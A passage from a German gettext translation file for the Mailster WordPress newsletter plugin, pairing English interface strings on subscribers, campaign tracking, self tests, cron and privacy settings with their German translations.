msgstr[1] "%s Abonnenten gefunden"

#: classes/mailster.class.php:1194
msgid "Self Tests"
msgstr "Selbsttest"

#: views/manage.php:242
msgid "Separator"
msgstr "Separator"

#: classes/geo.class.php:246
msgid "South America"
msgstr "Süd Amerika"

#: views/settings/privacy.php:14
msgid "Track location in campaigns"
msgstr "Standort in Kampagnen bestimmen."

#: views/settings/privacy.php:29
msgid "Update Location Database"
msgstr "Standortdatenbank aktualisieren"

#: views/settings/privacy.php:15
msgid "Update location database automatically"
msgstr "Standortdatenbank automatisch aktualisieren"

#: classes/subscribers.table.class.php:315
#: classes/subscribers.table.class.php:316
msgid "all"
msgstr "alle"

#: classes/subscribers.table.class.php:324
msgid "confirm list"
msgstr "Liste bestätigen"

#: classes/subscribers.table.class.php:211
msgid "confirmed"
msgstr "bestätigt"

#: classes/subscribers.table.class.php:211 views/subscribers/detail.php:281
msgid "not confirmed"
msgstr "nicht bestätigt"

#: classes/ajax.class.php:1850
msgid "right now"
msgstr "gerade jetzt"

#: classes/subscribers.table.class.php:324
msgid "unconfirm list"
msgstr "Liste unbestätigen"

#: classes/subscribers.class.php:320
msgid "%1$d Subscribers confirmed to %2$s lists"
msgstr "%1$d Abonnenten wurden in %2$s Listen bestätigt"

#: classes/subscribers.class.php:326
msgid "%1$d Subscribers unconfirmed from %2$s lists"
msgstr "%1$d Abonnenten wurden in %2$s Listen unbestätigt"

#: classes/geo.class.php:247
msgid "Africa"
msgstr "Afrika"

#: classes/geo.class.php:244
msgid "Asia/Pacific Region"
msgstr "Asien/Pazifik Region"

#: classes/update.class.php:157 classes/mailster.class.php:1800
msgid "Authentication servers are currently down. Please try again later!"
msgstr "Authentifizierungserver sind zur Zeit nicht erreichbar. Bitte probiere es später erneut!"

#: views/conditions/conditions.php:342
msgid "Continents"
msgstr "Kontinente"

#: classes/ajax.class.php:1853
msgid "Couldn't load Location Database"
msgstr "Konnte Standortdatenbank nicht laden"

#: classes/manage.class.php:72
msgid "Downloading %s Subscribers..."
msgstr "Herunterladen von %s Abonnenten..."

#: classes/geo.class.php:243
msgid "Europe"
msgstr "Europa"

#: classes/geo.class.php:252
msgid "European Union"
msgstr "Europäische Union"

#: views/setup.php:416
msgid "If you have users in the European Union you have to comply with the General Data Protection Regulation (GDPR). Please check our knowledge base on how Mailster can help you."
msgstr "Falls du Benutzer in der Europäischen Union hast, must du die Datenschutz Grundverordnung (DSGVO) einhalten. Bitte besuche unsere Knowledge Base um zu erfahren wie Mailster dir dabei helfen kann."

#: classes/ajax.class.php:1851
msgid "Location Database success loaded!"
msgstr "Standortdatenbank erfolgreich geladen!"

#: views/setup.php:415
msgid "Mailster can track specific behaviors and the location of your subscribers to target your audience better. In most countries you must get the consent of the subscriber if you sent them marketing emails. Please get in touch with your lawyer for legal advice in your country."
msgstr "Mailster kann bestimmte Verhalten und den Standort deine Abonnenten tracken um dein Publikum gezielter zu erreichen. In den meisten Ländern must du die Zustimmung deiner Abonnenten einholen um ihnen Marketingemails zu senden. Bitte kontaktiere deinen Anwalt für rechtlich Ratschläge in deinem dein Land."

#: views/setup.php:64
msgid "Mailster takes the privacy of your subscribers information seriously. Define which information Mailster should save."
msgstr "Mailster nimmt die Privatsphäre deine Abonnenten ernst. Bestimme welche Informationen Mailster speichern soll. "

#: classes/template.class.php:492 classes/campaigns.class.php:1346
msgid "Module %s"
msgstr "Modul %s"

#: classes/geo.class.php:245
msgid "North America"
msgstr "Nord Amerika"

#: classes/geo.class.php:248
msgid "Oceania/Australia"
msgstr "Ozeanien/Australien"

#: views/manage.php:199
msgid "Output Options"
msgstr "Ausgabeeinstellungen"

#: classes/manage.class.php:69
msgid "Preparing Download for %1$s Subscribers...%2$s"
msgstr "Bereite Download für %1$s Abonnenten vor...%2$s"

#: classes/conditions.class.php:108
msgid "IP on Signup"
msgstr "IP beim Anmelden"

#: classes/conditions.class.php:109
msgid "IP on confirmation"
msgstr "IP beim Bestätigen"

#: views/manage.php:9
msgid "Import Subscribers"
msgstr "Abonnenten Importieren"

#: cron.php:122 cron.php:122
msgid "Invalid Cron Worker!"
msgstr "Falscher Cron Worker!"

#: views/settings/delivery.php:26
msgid "It's %1$s, %2$s"
msgstr "Es ist %1$s, %2$s"

#: classes/tests.class.php:551
msgid "Last hit was %s ago"
msgstr "Letzter Treffer war vor %s"

#: views/settings/subscribers.php:40
msgid "List Based Subscription"
msgstr "Listenbasierte Anmeldungen"

#: views/conditions/conditions.php:71
msgid "List related"
msgstr "Auf Listen bezogen"

#: classes/manage.class.php:1241
msgid "Mailster Subscribers"
msgstr "Mailster Abonnenten"

#: classes/mailster.class.php:1194 views/tests.php:10
msgid "Mailster Tests"
msgstr "Mailster Tests"

#: views/tests.php:12
msgid "Mailster will now run some tests to ensure everything is running smoothly. Please keep this browser window open until all tests are finished."
msgstr "Mailster wird jetzt ein paar Tests durchführen um sicherzustellen ob dein System in Ordnung ist. Bitte lass diese Fenster bis zur Fertigstellung geöffnet."

#: classes/tests.class.php:116
msgid "More Info"
msgstr "Mehr Information"

#: classes/mailster.class.php:1412
msgid "Need Support?"
msgstr "Brauchst du Hilfe?"

#: views/conditions/render.php:1
msgid "No Conditions defined"
msgstr "Keine Bedingungen bestimmt"

#: views/tests.php:29
msgid "Notices"
msgstr "Meldungen"

#: views/tests.php:29
msgid "Notices normally don't require any action."
msgstr "Diese Meldungen benötigen üblicherweise keine Aktion."

#: views/settings/delivery.php:59
msgid "Only affects Campaigns and Auto responders but not transactional emails."
msgstr "Betrifft nur Kampagnen und Autoresponder aber keine transaktionalen E-Mails."

#: views/tests.php:20
msgid "Output"
msgstr "Ausgabe"

#: classes/forms.class.php:1405
msgid "PHP"
msgstr "PHP"

#: views/conditions/conditions.php:35
msgid "Please add your first condition."
msgstr "Bitte bestimme deine erste Bedingung."

#: classes/campaigns.class.php:1779
msgid "Please define a hook which should trigger the campaign!"
msgstr "Bitte bestimme den Action Hook der diese Kampagne auslösen soll!"

#: classes/manage.class.php:64
msgid "Preparing Import..."
msgstr "Import wird vorbereitet..."

#: views/settings.php:37 views/setup.php:27 views/setup.php:63
#: views/setup.php:409
msgid "Privacy"
msgstr "Privatsphäre"

#: classes/campaigns.class.php:294 views/single-newsletter.php:66
msgid "Private"
msgstr "Privat"

#: views/settings/cron.php:70
msgid "Release Cron Lock"
msgstr "Cron Lock aufheben"

#: classes/tinymce.class.php:152
msgid "Remove Block"
msgstr "Block entfernen"

#: views/settings/cron.php:106
msgid "Reset"
msgstr "Zurücksetzen"

#: classes/mailster.class.php:1409
msgid "Restart Test"
msgstr "Test neu starten"

#: views/settings/system_info.php:2
msgid "Run System Test"
msgstr "System Test starten"

#: views/settings/system_info.php:1
msgid "Run a System Test to get more info about issues with Mailster on your server."
msgstr "Führe einen System Test durch um mehr Informationen zu Problemen mit Mailster auf deinem Server zu erhalten."

#: classes/mailster.class.php:1410
msgid "Running Test %1$s of %2$s: %3$s"
msgstr "Test %1$s von %2$s: %3$s"

#: classes/campaigns.class.php:3962 classes/mailster.class.php:1131
#: views/dashboard/mb-mailster.php:71
msgid "Self Test"
msgstr "Selbsttest"

#: classes/campaigns.class.php:3960
msgid "Sending Problem!"
msgstr "Sendeproblem!"

#: views/forms/detail.php:439
msgid "Shortcode or PHP"
msgstr "Shortcode oder PHP"

#: views/tests.php:26
msgid "Show"
msgstr "Zeigen"

#: classes/widget.class.php:50
msgid "Show form on the newsletter homepage."
msgstr "Dieses Formular auf der Newsletter Homepage zeigen."

#: views/settings/frontend.php:52
msgid "Show the top bar on the web version"
msgstr "Zeige die Infoleiste am oberen Ende der Webversion"

#: classes/conditions.class.php:106
msgid "Signup"
msgstr "Anmeldung"

#: cron.php:119 cron.php:119
msgid "Single Cron"
msgstr "Einzelner Cron"

#: views/tests.php:15
msgid "Start Tests"
msgstr "Starte Tests"

#: views/settings/subscribers.php:41
msgid "Subscribers sign up on a per list basis instead of globally."
msgstr "Abonnenten melden sich separat für jede Liste an."

#: views/tests.php:30
msgid "Success"
msgstr "Erfolgreich"

#: classes/mailster.class.php:1411
msgid "Tests are finished with %1$s Errors, %2$s Warnings and %3$s Notices."
msgstr "Tests wurden mit %1$s Fehlern, %2$s Warnungen und %3$s Meldungen beendet."

#: views/tests.php:21
msgid "Text Output"
msgstr "Textausgabe"

#: views/settings/privacy.php:62 views/settings.php:40
msgid "Text Strings"
msgstr "Texte"

#: classes/cron.class.php:207
msgid "The Cron Process is not setup correctly. This is required to send campaigns. Please check the %s"
msgstr "Der Cronprozess ist nicht richtig konfiguriert. Dies ist erforderlich um Kampagnen senden zu können. Bitte überprüfe die %s"

#: classes/subscribers.class.php:1098
msgid "The email \"%s\" already exists."
msgstr "Die E-Mail \"%s\" existiert bereits."

#: classes/form.class.php:1122
msgid "There was an error updating the user"
msgstr "Ein Fehler ist beim Aktualisieren des Benutzer aufgetreten."

#: views/newsletter/delivery.php:48
msgid "This campaign has been sent on %s."
msgstr "Diese Kampagne wurde am %s gesendet."

#: views/settings/cron.php:98
msgid "Throughput"
msgstr "Verarbeitungsmenge"

#: views/settings/delivery.php:25
msgid "Time Frame"
msgstr "Zeitfenster"

#: views/newsletter/editbar.php:170
msgid "Toggle Crop"
msgstr "zuschneiden umschalten"

#: views/newsletter/options.php:18 views/newsletter/options.php:106
msgid "Track Clicks"
msgstr "Klicks tracken"

#: views/newsletter/options.php:13 views/newsletter/options.php:102
msgid "Track Opens"
msgstr "Öffnungen tracken"

#: views/settings/privacy.php:6
msgid "Track clicks in your campaigns"
msgstr "Klicks in deinen Kampagnen werden getrackt."

#: views/settings/privacy.php:5
msgid "Track opens in your campaigns"
msgstr "Öffnungen in deinen Kampagnen werden getrackt."

#: views/settings/privacy.php:3
msgid "Tracking"
msgstr "Tracking"

#: classes/campaigns.class.php:1747
msgid "Tracking Clicks is disabled in campaign %s! Please enable tracking or choose a different campaign."
msgstr "Klicktracking is ausgeschaltet bei Kampagne %s! Bitte aktivieren oder eine andere Kampagne wählen."

#: classes/campaigns.class.php:1740
msgid "Tracking Opens is disabled in campaign %s! Please enable tracking or choose a different campaign."
msgstr "Tracking is ausgeschaltet bei Kampagne %s! Bitte aktivieren oder eine andere Kampagne wählen."

#: classes/campaigns.class.php:952 classes/campaigns.class.php:966
msgid "Tracking is disabled for this campaign!"
msgstr "Tracking is ausgeschaltet bei diese Kampagne!"

#: views/conditions/conditions.php:57
msgid "User related"
msgstr "Abonnenten bezogen"

#: views/tests.php:28
msgid "Warnings"
msgstr "Warnungen"

#: views/tests.php:28
msgid "Warnings are recommended to get fixed but not required to make Mailster work."
msgstr "Auch wenn es kein Problem für Mailster ist wird es empfohlen Warnungen zu beheben."

#: views/newsletter/submit.php:23
msgid "Web version"
msgstr "Webversion"

#: views/conditions/conditions.php:211
msgid "Webmail"
msgstr "Webmail"

#: views/settings/frontend.php:51
msgid "Webversion Bar"
msgstr "Webversion Leiste"

#: classes/conditions.class.php:103
msgid "WordPress User ID"
msgstr "WordPress Benutzer ID"

#: classes/forms.class.php:690
msgid "You are not allowed to add forms."
msgstr "Du hast keine Rechte neue Formulare zu erstellen."

#: views/settings/cron.php:52
msgid "You can also find additional help on our %s."
msgstr "Du findest weitere Hilfe in unserer %s"

#: classes/tests.class.php:621
msgid "You have no form! Mailster requires at least one form for the newsletter homepage. %s."
msgstr "Du hast kein Formular! Mailster braucht zumindest ein Formular für die Newsletter Homepage. %s."

#: classes/cron.class.php:204
msgid "Your Cron page hasn't get triggered recently. This is required to send campaigns. Please check the %s"
msgstr "Die Cronseite wurde schon lang nicht mehr ausgelöst. Dies ist erforderlich um Kampagnen zu senden. Bitte überprüfe die %s"

#: classes/tests.class.php:604
msgid "Your newsletter homepage is not setup correctly. Please update %s."
msgstr "Deine Newsletter Homepage is nicht richtig konfiguriert. Bitte aktualisiere %s."

#: classes/conditions.class.php:158
msgid "clicked link"
msgstr "klickte Link"

#: classes/ajax.class.php:2068 classes/ajax.class.php:2118
#: views/settings/authentication.php:108 views/settings/authentication.php:119
#: views/settings/cron.php:38 views/settings/cron.php:39
#: views/settings/cron.php:42 views/settings/cron.php:43
#: views/settings/cron.php:44 views/settings/cron.php:45
#: views/settings/cron.php:46 views/settings/cron.php:47
#: views/settings/cron.php:48
msgid "copy"
msgstr "kopieren"

#: classes/forms.class.php:1401 classes/forms.class.php:1407
#: classes/forms.class.php:1410 classes/forms.class.php:1413
#: classes/forms.class.php:1480 classes/forms.class.php:1486
#: classes/forms.class.php:1505 classes/forms.class.php:1519
msgid "copy to clipboard"
msgstr "in die Zwischenablage kopieren"

#: classes/conditions.class.php:159
msgid "didn't clicked link"
msgstr "klickte Link nicht"

#: classes/forms.table.class.php:122
msgid "duplicate Form"
msgstr "Formulare duplizieren"

#: classes/conditions.class.php:153
msgid "has not received"
msgstr "hat nicht erhalten"

#: classes/conditions.class.php:152
msgid "has received"
msgstr "hat erhalten"

#: classes/conditions.class.php:156
msgid "has received and clicked"
msgstr "hat erhalten und geklickt"

#: classes/conditions.class.php:157
msgid "has received and not clicked"
msgstr "hat erhalten und nicht geklickt"

#: classes/conditions.class.php:154
msgid "has received and opened"
msgstr "hat erhalten und geöffnet"

#: classes/conditions.class.php:155
msgid "has received but not opened"
msgstr "hat erhalten aber nicht geöffnet"

#: classes/conditions.class.php:222
msgid "is after"
msgstr "ist nach dem"

#: classes/conditions.class.php:224
msgid "is after or on the"
msgstr "ist nach oder am"

#: classes/conditions.class.php:223
msgid "is before"
msgstr "ist vor dem"

#: classes/conditions.class.php:225
msgid "is before or on the"
msgstr "ist vor oder am"

#: classes/conditions.class.php:166
msgid "is not in List"
msgstr "ist nicht in der Liste"

#: classes/conditions.class.php:221
msgid "is not on the"
msgstr "ist nicht am"

#: classes/conditions.class.php:220
msgid "is on the"
msgstr "ist am"

#: views/settings/cron.php:99
msgid "mail"
msgstr "mail"

#: classes/campaigns.class.php:767 views/newsletter/delivery.php:314
msgid "only if new content is available."
msgstr "nur wenn neuer Inhalt verfügbar ist."

#: views/settings/delivery.php:44
msgid "only on"
msgstr "nur an"

#: views/settings/cron.php:40
msgid "or setup a crontab with one of the following commands:"
msgstr "oder erstelle einen crontab mit einem der folgenden Kommandos:"

#: views/newsletter/receivers.php:50
msgid "remove all"
msgstr "alle entfernen"

#: views/settings/delivery.php:29
msgid "send mails only between"
msgstr "Sende Mails nur zwischen"

#: classes/tests.class.php:595 classes/tests.class.php:604
#: classes/tests.class.php:611
msgid "this page"
msgstr "diese Seite"

#: views/subscribers/detail.php:455
msgid "unsubscribed from a list"
msgstr "von einer Liste abmelden"

#: classes/conditions.class.php:328
msgid "%d stars"
msgstr "%d Sterne"

#: classes/dashboard.class.php:233
msgid "%s Subscribers"
msgstr "%s Abonnenten"

#: classes/frontpage.class.php:341
msgid "%s is not a valid URL!"
msgstr "%s ist keine gültige URL!"

#: classes/tests.class.php:575 views/settings/cron.php:101
msgid "%s mail per second"
msgid_plural "%s mails per second"
msgstr[0] "%s Mail in der Sekunde"
msgstr[1] "%s Mails in der Sekunde"

#: classes/conditions.class.php:286
msgctxt "opening curly double quote"
msgid "“"
msgstr "„"

#: classes/conditions.class.php:287
msgctxt "closing curly double quote"
msgid "”"
msgstr "“"

#: views/conditions/conditions.php:222 views/conditions/conditions.php:303
msgid "Aggregate Campaigns"
msgstr "Aggregierte Kampagnen"

#: classes/conditions.class.php:233
msgid "Any Campaigns within the last 1 month"
msgstr "Eine Kampagne innerhalb des letzten Monats"

#: classes/conditions.class.php:234
msgid "Any Campaigns within the last 3 months"
msgstr "Eine Kampagne innerhalb der letzten 3 Monate"

#: classes/conditions.class.php:232
msgid "Any Campaigns within the last 7 days"
msgstr "Eine Kampagne innerhalb der letzten 7 Tage"

#: classes/conditions.class.php:231
msgid "Any of the Last 5 Campaigns"
msgstr "Eine der letzten 5 Kampagnen"

#: views/tests.php:30
msgid "Best requirements for Mailster to work."
msgstr "Empfohlen für Mailster."

#: views/tests.php:18
msgid "Click the button to start test"
msgstr "Klicke den Button um den Test zu starten"

#: classes/conditions.class.php:126 classes/subscribers.class.php:1521
msgid "Client"
msgstr "Klient"

#: classes/conditions.class.php:127
msgid "Clienttype"
msgstr "Klienttyp"

#: views/newsletter/receivers.php:22
msgid "Close"
msgstr "Schließen"

#: views/manage.php:189 views/manage.php:402 views/newsletter/receivers.php:43
msgid "Conditions"
msgstr "Bedingungen"

#: classes/mailster.class.php:1286
msgid "Copied!"
msgstr "Kopiert!"

#: views/tests.php:36 views/tests.php:41
msgid "Copy Info to Clipboard"
msgstr "Info in die Zwischenablage kopieren"

#: views/settings/manage-settings.php:9
msgid "Copy to Clipboard"
msgstr "In die Zwischenablage kopieren"

#: classes/tests.class.php:621
msgid "Create a new form now"
msgstr "Neues Formular erstellen"

#: classes/campaigns.class.php:1391
msgid "Do you really like to remove all conditions?"
msgstr "Willst du wirklich alle Bedingungen entfernen?"

#: classes/campaigns.class.php:1390 views/newsletter/receivers.php:50
msgid "Edit Conditions"
msgstr "Bedingungen bearbeiten"

#: classes/manage.class.php:647
msgid "Email address is invalid."
msgstr "E-Mailadresse ist ungültig."

#: views/tests.php:27
msgid "Errors"
msgstr "Fehler"

#: views/tests.php:27
msgid "Errors must be fixed in order to make Mailster work correctly."
msgstr "Fehler müssen behoben werden damit Mailster korrekt funktioniert."

#: views/manage.php:237
msgid "Excel Spreadsheet"
msgstr "Excel Datei"

#: classes/manage.class.php:71
msgid "Export finished"
msgstr "Export abgeschlossen"

#: classes/subscribers.class.php:348
msgid "Finished!"
msgstr "Fertig!"

#: classes/update.class.php:228
msgid "Hey! Would you like automatic updates and premium support? Please %s of Mailster."
msgstr "Hallo! Willst du automatische Updates und Premium Support? Bitte %s von Mailster."

#: views/settings/frontend.php:7
msgid "Page ID:"
msgstr "Seiten ID:"

#: classes/update.class.php:223 classes/register.class.php:145
msgid "changelog page"
msgstr "Changelog Seite"

#: views/settings/advanced.php:13
msgid "Disable Form Caching"
msgstr "Caching bei Formularen deaktivieren"

#: views/settings/advanced.php:13
msgid "Enable this option if you have issue with the security nonce on Mailster forms."
msgstr "Aktiviere diese Option falls du Probleme mit der Security Nonce bei Formularen hast."

#: views/settings/frontend.php:7
msgid "Find your Page ID in the address bar of the edit screen of this page."
msgstr "Die ID findest du in der Addresszeile wenn du die Seite bearbeitest."

#: classes/update.class.php:223 classes/register.class.php:145
msgid "Hey! Looks like you have an outdated version of Mailster! It's recommended to keep the plugin up to date for security reasons and new features. Check the %s for the most recent version."
msgstr "Hallo! Anscheinend verwendest du eine veraltete Version von Mailster! Es wird empfohlen das Plugin aktuell zu halten um eventuell Sicherheitsprobleme zu vermeiden und in den Genuss von neuen Features zu kommen. Besuche die %s für die aktuellste Version."

#: views/settings/advanced.php:11
msgid "Cache"
msgstr "Cache"

#: views/settings/advanced.php:35
msgid "A unique string to prevent form submissions via POST. Pass this value in a '_nonce' variable. Keep empty to disable test."
msgstr "Eine einzigartige Zeichenfolge um ein unerlaubtes Abschicken eines Formulars zu verhindern. Sende diesen Wert in einer \"_nonce\" Variable, Feld leer lassen um Test zu deaktivieren."

#: classes/dashboard.class.php:235 views/dashboard/mb-mailster.php:45
msgid "Check Again"
msgstr "Erneut überprüfen"

#: classes/dashboard.class.php:236
msgid "Checking..."
msgstr "Überprüfen..."

#: views/settings/advanced.php:33
msgid "Form POST protection"
msgstr "POST Schutz"

#: classes/form.class.php:884
msgid "Security Nonce is invalid!"
msgstr "Sicherheitsschlüssel ist nicht korrekt!"

#: classes/ajax.class.php:473
msgid "Nonce invalid! Please reload site."
msgstr "Die Nonce is nicht mehr gültig! Bitte die Seite neu laden."

#: classes/helper.class.php:1045
msgid "The user canceled the subscription via the website."
msgstr "Der Benutzer hat sich via Webseite abgemeldet."

#: classes/helper.class.php:1042
msgid "The user clicked on an unsubscribe link in the campaign."
msgstr "Der Benutzer benutzte eine Link in der Kampagne um sich abzumelden."

#: classes/helper.class.php:1039
msgid "The user clicked on the unsubscribe option in the Mail application"
msgstr "Der Benutzer verwendete die Abmeldefunktion in der E-Mailanwendung"

#: classes/helper.class.php:1048
msgid "The user marked this message as Spam in the Mail application."
msgstr "Der Benutzer markierte dich Nachricht als Spam in der E-Mailanwendung."

#: classes/subscribers.class.php:2933
msgid "Unsubscribes on %s"
msgstr "Abgemeldet am %s"

#: classes/ajax.class.php:1684
msgid "Your nonce is expired! Please reload the site."
msgstr "Die Nonce is nicht mehr gültig! Bitte die Seite neu laden."

#: classes/templates.class.php:1017
msgid "Not able to create module screen shots of %1$s. Read more about this %2$s."
msgstr "Konnte die Screenshots für %1$s nicht erstellen. Erfahre mehr darüber %2$s."

#: views/templates/available-template.php:29
msgid "This Template requires at least version %s of Mailster."
msgstr "Dieses Template benötigt Mailster Version %s oder höher."

#: classes/forms.class.php:1352 classes/forms.class.php:1372
#: classes/lists.class.php:1451
msgid "Default List"
msgstr "Standardliste"

#: views/dashboard/mb-mailster.php:20
msgid "User: %1$s - %2$s"
msgstr "Benutzer: %1$s - %2$s"

#: classes/templates.class.php:1255
msgid "%d new template for Mailster is available!"
msgid_plural "%d new templates for Mailster are available!"
msgstr[0] "%d neues Template ist für Mailster verfügbar!"
msgstr[1] "%d neue Templates sind für Mailster verfügbar!"

#: classes/dashboard.class.php:84
msgid "Mailster Dashboard"
msgstr "Mailster Dashboard"

#: views/settings/advanced.php:29
msgid "Mailster detects this setting by default so change only if detection fails."
msgstr "Mailster kann diese Einstellung automatisch bestimmen. Ändere sie also nur wenn die Erkennung fehlschlägt."

#: views/addons.php:75
msgid "More Information"
msgstr "Mehr Infos"

#: views/subscribers/detail.php:297
msgid "Please enter a valid Google API key on the settings page if the map is missing!"
msgstr "Bitte gib einen gültigen Google API key auf der Einstellungsseite ein wenn die Karte nicht angezeigt wird!"

#: views/setup.php:454
msgid "Remind me later"
msgstr "Erinnere mich später"

#: classes/mailster.class.php:1184
msgid "Setup"
msgstr "Setup"

#: views/settings/advanced.php:28
msgid "URL Rewrite"
msgstr "URL Rewrite"

#: classes/templates.class.php:1255
msgid "Visit Templates Page"
msgstr "Templates ansehen"

#: views/settings/advanced.php:29
msgid "Website supports URL rewrite"
msgstr "Diese Webseite unterstützt URL rewrite"

#: classes/mailster.class.php:1188
msgid "Welcome"
msgstr "Willkommen"

#: views/settings/cron.php:37
msgid "alternative Cron URL"
msgstr "alternative Cron URL"

#: classes/campaigns.class.php:823
msgid "the users %1$s value"
msgstr "Benutzers %1$s Wert"

#: classes/campaigns.class.php:3717
msgid "Click Date"
msgstr "Klickdatum"

#: views/settings/template.php:25 views/setup.php:122
msgid "A link for your logo."
msgstr "Ein Link für dein Logo"

#: classes/mailster.class.php:389
msgid "Dismiss"
msgstr "Verwerfen"

#: views/addons.php:5
msgid "Extend the functionality of Mailster"
msgstr "Erweitere die Funktionen von Mailster"

#: views/settings/template.php:24 views/setup.php:121
msgid "Logo Link"
msgstr "Logo Link"

#: views/addons.php:3
msgid "Mailster Newsletter Add Ons"
msgstr "Mailster Newsletter Erweiterungen"

#: views/addons.php:12
msgid "There was an error retrieving the list from the server:"
msgstr "Ein Fehler ist beim Laden der Liste aufgetreten:"

#: views/settings/cron.php:27
msgid "Use the alternative Cron URL if you have troubles with this one by clicking %s."
msgstr "Verwende die alternative Cron URL wenn du Probleme damit hast indem du %s klickst."

#: classes/dashboard.class.php:42
msgid "There was an Error while processing your request!"
msgstr "Ein Fehler ist beim Verarbeiten aufgetreten!"

#: views/forms/detail.php:174 views/forms/detail.php:296
msgid "Define the Options"
msgstr "Bestimme die Optionen"

#: classes/subscribers.class.php:3354
msgid "Pending"
msgstr "Ausstehend"

#: classes/subscribers.class.php:3356
msgid "Unsubscribed"
msgstr "Abgemeldet"

#: classes/mailster.class.php:1781
msgid "Register via the %s."
msgstr "Via %s registrieren."

#: views/newsletter/details.php:112
msgctxt "in pie chart"
msgid "bounce"
msgid_plural "bounces"
msgstr[0] "unzustellbar"
msgstr[1] "unzustellbar"

#: views/dashboard/mb-campaigns.php:34 views/dashboard/mb-lists.php:26
msgctxt "in pie chart"
msgid "bounces"
msgstr "unzustellbar"

#: views/newsletter/details.php:103
msgctxt "in pie chart"
msgid "click"
msgid_plural "clicks"
msgstr[0] "geklickt"
msgstr[1] "geklickt"

#: views/dashboard/mb-campaigns.php:32 views/dashboard/mb-lists.php:24
msgctxt "in pie chart"
msgid "clicks"
msgstr "geklickt"

#: views/newsletter/details.php:97
msgctxt "in pie chart"
msgid "opened"
msgid_plural "opens"
msgstr[0] "geöffnet"
msgstr[1] "geöffnet"

#: views/dashboard/mb-campaigns.php:31 views/dashboard/mb-lists.php:23
msgctxt "in pie chart"
msgid "opens"
msgstr "geöffnet"

#: views/newsletter/details.php:92
msgctxt "in pie chart"
msgid "receiver"
msgid_plural "receivers"
msgstr[0] "Empfänger"
msgstr[1] "Empfänger"

#: views/dashboard/mb-campaigns.php:30 views/dashboard/mb-lists.php:22
msgctxt "in pie chart"
msgid "total"
msgstr "gesamt"

#: views/newsletter/details.php:108
msgctxt "in pie chart"
msgid "unsubscribe"
msgid_plural "unsubscribes"
msgstr[0] "abgemeldet"
msgstr[1] "abgemeldet"

#: views/dashboard/mb-campaigns.php:33 views/dashboard/mb-lists.php:25
msgctxt "in pie chart"
msgid "unsubscribes"
msgstr "abgemeldet"

#: views/setup.php:208
msgctxt "the URL not the place"
msgid "Location"
msgstr "Adresse"

#: views/newsletter/optionbar.php:20
msgid "preview"
msgstr "Vorschau"

#: views/settings/cron.php:86
msgid "probably you"
msgstr "wahrscheinlich du"

#: classes/subscribers.class.php:348
msgid "processing page %1$s of %2$s"
msgstr "bearbeite Seite %1$s von %2$s"

#: classes/subscribers.class.php:116
msgid "processing page %d"
msgstr "Seite %d in arbeit"

#: classes/settings.class.php:117
msgctxt "profile slug"
msgid "profile"
msgstr "profil"

#: cron.php:105 cron.php:157 classes/campaigns.class.php:695 cron.php:105
#: cron.php:157
msgid "progressing"
msgstr "in arbeit"

#: views/newsletter/submit.php:26 views/newsletter/submit.php:31
msgid "Protect the web version with a password."
msgstr "schütze die Webansicht mit einem Passwort"

#: views/settings/frontend.php:193
msgid "queued"
msgstr "in Warteschlange"

#: views/settings/authentication.php:29
msgid "read more"
msgstr "weiterlesen"

#: classes/campaigns.class.php:1392
msgid "ready!"
msgstr "fertig!"

#: views/settings/cron.php:18
msgid "recommended for many subscribers"
msgstr "empfohlen für vielen Abonnenten"

#: views/forms/detail.php:402
msgid "Redirect after confirm"
msgstr "Weiterleiten nach Bestätigung"

#: views/forms/detail.php:318
msgid "Redirect after submit"
msgstr "Weiterleiten nach dem Abschicken"

#: views/newsletter/optionbar.php:10
msgid "redo"
msgstr "wiederherstellen"

#: classes/manage.class.php:182 classes/manage.class.php:382
#: classes/manage.class.php:388 classes/manage.class.php:394
msgid "registered"
msgstr "registriert"

#: cron.php:126 cron.php:126
msgid "reload"
msgstr "neu laden"

#: classes/ajax.class.php:2478
msgid "reloading"
msgstr "neu laden"

#: views/settings/template.php:40 views/conditions/conditions.php:245
#: views/conditions/conditions.php:267 views/conditions/conditions.php:286
#: views/conditions/conditions.php:326 views/conditions/conditions.php:355
msgid "remove"
msgstr "entfernen"

#: classes/campaigns.class.php:1357
msgid "Remove %s"
msgstr "%s entfernen"

#: views/manage.php:416
msgid "Remove all actions from affected users"
msgstr "Alle Aktionen der betroffenen Benutzer entfernen"

#: views/settings/advanced.php:24
msgid "Remove all data on plugin deletion"
msgstr "Alle Daten beim Löschen des Plugins entfernen"

#: views/conditions/conditions.php:46
msgid "remove condition"
msgstr "Bedingung entfernen"

#: views/newsletter/editbar.php:341
msgid "remove element"
msgstr "Element entfernen"

#: classes/settings.class.php:399 views/settings/subscribers.php:107
#: views/settings/subscribers.php:123 views/forms/detail.php:116
#: views/forms/detail.php:149
msgid "remove field"
msgstr "Feld entfernen"

#: classes/subscribers.table.class.php:324
msgid "remove from list"
msgstr "von Liste entfernen"

#: classes/campaigns.class.php:1342
msgid "Remove module"
msgstr "Modul entfernen"

#: views/newsletter/optionbar.php:12
msgid "remove modules"
msgstr "Module entfernen"

#: views/manage.php:413
msgid "Remove selected lists"
msgstr "Lösche ausgewählte Listen"

#: views/newsletter/editbar.php:64
msgid "replace with image"
msgstr "mit Bild austauschen"

#: views/newsletter/details.php:50
msgid "reply-to email"
msgstr "Antwortadresse"

#: views/forms/detail.php:115 views/forms/detail.php:148
#: views/newsletter/editbar.php:96
msgid "required"
msgstr "erforderlich"

#: classes/campaigns.class.php:772 classes/campaigns.class.php:774
msgid "requires %1$s more %2$s"
msgstr "benötigt %1$s weitere %2$s "

#: views/forms/detail.php:399
msgid "Resend confirmation %1$s times with a delay of %2$s hours if user hasn't confirmed the subscription"
msgstr "Sende die Bestätigung %1$s mal mit einer Verzögerung von %2$s Stunden falls der Benutzer die Anmeldung noch nicht bestätigt hat"

#: views/subscribers/detail.php:496
msgid "resend this campaign"
msgstr "diese Kampagne erneut senden"

#: views/settings/tags.php:4
msgid "reserved tags"
msgstr "reservierte Tags"

#: views/newsletter/delivery.php:355
msgid "reset counter"
msgstr "Zähler zurücksetzen"

#: views/settings/delivery.php:21
msgid "reset these limits"
msgstr "Limits zurücksetzen"

#: views/newsletter/details.php:36 views/newsletter/details.php:45
#: views/newsletter/details.php:49
msgid "restore default"
msgstr "Standard wiederherstellen"

#: views/newsletter/optionbar.php:83
msgid "save as a new template file"
msgstr "als neue Template Datei speichern"

#: includes/capability.php:56 views/newsletter/optionbar.php:25
msgid "save template"
msgstr "Template speichern"

#: views/newsletter/options.php:21
msgid "save this schema"
msgstr "dieses Schema speichern"

#: views/newsletter/editbar.php:178
msgid "Search for images"
msgstr "Suche nach Bildern"

#: views/settings/delivery.php:118
